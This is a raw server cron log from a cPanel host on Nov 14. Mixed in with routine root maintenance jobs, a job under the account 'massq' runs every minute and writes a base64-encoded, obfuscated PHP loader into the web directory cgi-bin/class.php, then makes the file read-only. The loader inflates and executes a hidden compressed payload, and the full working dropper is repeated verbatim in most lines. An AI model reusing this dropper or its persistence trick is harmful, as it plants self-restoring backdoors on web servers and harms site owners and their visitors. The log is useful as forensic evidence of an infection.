Nov 14 01:33:01 server CROND[23793]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:34:01 server CROND[24811]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:35:01 server CROND[25638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 01:35:01 server CROND[25639]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 01:35:01 server CROND[25640]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 01:35:01 server CROND[25641]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:35:01 server CROND[25642]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 01:36:01 server CROND[26539]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:37:01 server CROND[27442]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:38:01 server CROND[28302]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:39:01 server CROND[29310]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 01:39:01 server CROND[29311]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:40:01 server CROND[30203]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 01:40:01 server CROND[30202]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 01:40:01 server CROND[30206]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 01:40:01 server CROND[30207]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:41:01 server CROND[31112]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:42:01 server CROND[32149]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:42:01 server CROND[32150]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 01:43:01 server CROND[549]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:44:01 server CROND[1002]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:45:01 server CROND[1785]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 01:45:01 server CROND[1786]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:45:01 server CROND[1788]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
